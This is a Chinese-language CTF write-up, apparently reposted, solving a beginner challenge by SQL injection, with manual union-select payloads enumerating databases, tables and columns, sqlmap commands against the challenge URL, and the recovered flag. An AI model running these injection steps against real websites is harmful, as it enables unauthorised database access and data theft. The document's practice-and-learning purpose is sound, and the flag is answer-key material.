CTF 这个看起来有点简单
這個看起來有點簡單分值:10
- 來源: 西普學院
- 難度:易
很明顯。過年過節不送禮,送禮就送這個
格式:
解題鏈接: http://ctf5.shiyanbar.com/8/index.php?id=1
解法:
1.手工注入
?
id=1'
id=1 and 1=1
id=1 and 1=2????????????????????????? 判斷是sql注入
id=1 order by 2?????????????????????? 兩個字節
id=1?union?select 1,2?????????????? 回顯2
爆數據庫:
?and 1=2 union select 1,schema_name? from information_schema.schemata limit 0,2
???????????????? information_schema???? my_db
爆表:
and 1=2 union select 1,table_name from information_schema.tables where table_schema=0x6d795f6462 limit 0,2
?????????????????????????? news? ? ? ? ?? thiskey
爆字段:
and 1=2 union select 1,column_name from information_schema.columns where table_schema=0x6d795f6462 limit 0,3
爆內容:
and 1=2 union select 1,k0y from thiskey
key=> ????????? whati0MyD9ldump
sqlmap解法:
列 數據庫:
sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" --dbs
列表:
sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db --tables
列字段:
sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db -T thiskey --columns
這個跑不出來。直接用下面的可以,但是需要知道k0y。
sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db -T thiskey -C k0y --dump
得出結果,但是需要把1改為l,不知道為什么。
創作挑戰賽新人創作獎勵來咯,堅持創作打卡瓜分現金大獎
總結
以上是生活随笔為你收集整理的CTF 这个看起来有点简单的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: tablestore列式存储原理_10分
- 下一篇: 软件测试用例优先级,软件测试用例的优先级